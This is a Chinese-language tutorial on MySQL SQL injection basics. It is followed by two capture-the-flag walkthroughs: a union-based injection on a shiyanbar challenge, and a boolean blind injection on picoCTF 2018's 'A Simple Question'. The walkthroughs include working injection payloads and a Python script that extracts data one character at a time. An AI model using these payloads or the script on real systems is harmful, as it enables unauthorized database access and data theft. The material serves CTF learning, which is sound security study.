Basic Sql Injection 1
基础的MySQL(MariaDB)数据库注入知识(一)
0x00 Mysql基础知识1
(1)information_schema
information_schema这这个数据库中保存了MySQL服务器所有数据库的信息。简单点说,这台MySQL服务器
上,到底有哪些数据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访
问,等等信息都保存在information_schema里面。
information_schema的表schemata中的列schema_name记录了所有数据库的名字
information_schema的表tables中的列table_schema记录了所有数据库的名字
information_schema的表tables中的列table_name记录了所有数据库的表的名字
information_schema的表columns中的列table_schema记录了所有数据库的名字
information_schema的表columns中的列table_name记录了所有数据库的表的名字
information_schema的表columns中的列column_name记录了所有数据库的表的列的名字
(2)注释
单行注释符:#、-- (注意--之后有个空格)
块注释:/**/
(3)order by
以指定字段作为排序条件,返回排序后的查询结果。
指定的字段可以是具体的字段名,如:
MariaDB [dblab]> select * from user_action order by item_category limit 3;
+--------+-----------+-----------+---------------+---------------+------------+-----------+
| id | uid | item_id | behavior_type | item_category | visit_date | province |
+--------+-----------+-----------+---------------+---------------+------------+-----------+
| 55999 | 100895125 | 80944087 | 1 | 10010 | 2014-11-19 | 重庆市 |
| 56072 | 100895125 | 80944087 | 1 | 10010 | 2014-11-19 | 吉林 |
| 242954 | 103193989 | 183901987 | 1 | 10012 | 2014-12-08 | 天津市 |
+--------+-----------+-----------+---------------+---------------+------------+-----------+
也可以是数字,如:
MariaDB [dblab]> select * from user_action order by 5 limit 3;
表示按第5个字段进行排序,和上面效果一样。
当输入的数字大于表的总字段数时,就会产生错误,基于此,注入时便可借助order by加数字,通过二分法快速确定
表中有多少列。
(4)group_concat()
把指定字段的全部内容统计在一行中作为一个单元输出,如下例子,获取security库中所有表和表中字段:
MariaDB [dblab]> select table_name,group_concat(column_name) from information_schema.columns where table_schema='security' group by table_name;
+------------+-------------------------------+
| table_name | group_concat(column_name) |
+------------+-------------------------------+
| emails | id,email_id |
| referers | id,referer,ip_address |
| uagents | id,uagent,ip_address,username |
| users | id,username,password |
+------------+-------------------------------+
例题: http://ctf5.shiyanbar.com/8/index.php?id=1
这是个没有过滤的布尔注入,很基础,适合用来理解上面的知识点。
先联合查询获取库名:
id = -1 union select 1,database()
之后借助information_schema获取库中的表名和字段名:
id=-1 union select table_name,group_concat(column_name) from information_schema.columns where table_schema=‘my_db’ group by table_name
其中information_schema.columns表示从当前库夸库到information_schema库查询其columns表
这样就得到了当前数据库的表和其中字段的信息
看名字,flag很有可能就在k0y字段,实际也确实如此。
id =-1 union select 1,k0y from thiskey
即可得到flag
(5)字符串截取函数:
left(), right(), substring(), substring_index();还有mid(), substr(),在MySQL中这两个等价于substring()函数。
用法:substring(string,start,[length]) 如截取库名的前三个字符:
MariaDB [dblab]> select substring(database(),1,3);
+---------------------------+
| substring(database(),1,3) |
+---------------------------+
| dbl |
+---------------------------+
用法:left(string, length), right(string. length) 分别是从左端截取和从右端截取
也可以用 select substring(database() from 1 for 3); 替代上述查询语句。
(6)length()
获取字符串长度
MariaDB [dblab]> select length(database());
+--------------------+
| length(database()) |
+--------------------+
| 5 |
+--------------------+
(7)if()函数
语法: if(condition,true_expr, false_expr) 如果条件式condition为真,则返回true_expr,反之false_expr
MariaDB [dblab]> select if(mid(database(),1,2)='db', 1, 0);
+------------------------------------+
| if(mid(database(),1,2)='db', 1, 0) |
+------------------------------------+
| 1 |
+------------------------------------+
(8)case when
语法:case when condition1 then expr1
when condition2 then expr2
...
else expr
end
从上到下,第一个条件为真的表达式作为返回值。
(9)rpad()
语法:rpad(str, len, padstr) 用padstr对str进行右填充使字符串长度变为len,然后返回填充后的字符串,
若str长度大于len,则截取str前len个字符返回。
mysql> select rpad(username,10,0) from users limit 3;
+---------------------+
| rpad(username,10,0) |
+---------------------+
| Dumb000000 |
| Angelina00 |
| Dummy00000 |
+---------------------+
与rpad()相对应的是左填充函数lpad()。
(10)ascii()
语法:ascii(character) 返回字符的ascii码
(11)char()
语法:char(num) 反汇ascii码对应的字符
例题:http://2018shell1.picoctf.com:36052/
这是picoCTF2018中一道web题,题目名称"A Simple Question",较为简单,可以通过布尔盲注的方法拿到flag
打开链接,看到一个简单提问,随便回答一下
直接返回了查询语句,尝试answer = admin' or '1
so close? 虽然有了不同回显,但还不能据此判断注入测试成功与否,毕竟有可能是被过滤检测了。
检查一下网页源码,在第20行有提示
遂得如下源码
(通过源码可知,这题其实是SQLite数据库,虽然与MYSQL不同,但接下来注入中使用的函数在两种数据库中是相通的)
在第22行可以看出,回显“you are so close”确实是注入成功的结果。接下来根据两种不同的回显就可以进行盲
注了。
由于已经知道表名answers和字段名answer,可直接构造
payload1: answer = admin' or length((select group_concat(answer) from answers))>1 or '0
使用二分法可快速确定 length((select group_concat(answer) from answers))=14,然后就是确定具体内容
payload2: answer = admin' or substr((select group_concat(answer) from answers), 1, 1)>char(44) or '0
依次增加substr()函数开始截取的位置,每次截取一个字符和char(num)进行大小比较以确定该字符的具体值,脚本如下:
# python3
# picoCTF2018 A Simple Question
import requests
if __name__ == '__main__':
url = 'http://2018shell1.picoctf.com:36052/answer2.php'
# answer = "admin' or length((select group_concat(answer) from answers))=14 or '0"
for i in range(14):
for num in range(44, 123):
# 遍历ASCII码值为44~122的字符,依次与当前截取到的字符判等,来确定当前字符。
answer = "admin' or substr((select group_concat(answer) from answers),"+str(i+1)+",1)=char("+str(num)+") or '0"
data = {
'answer': answer
}
html = requests.post(url, data=data)
if html.text[-22:-6]=='You are so close':
print(chr(num), end='')
break
得到结果:
也即answer=41AndSixSixths,提交即可得到flag。
Loading……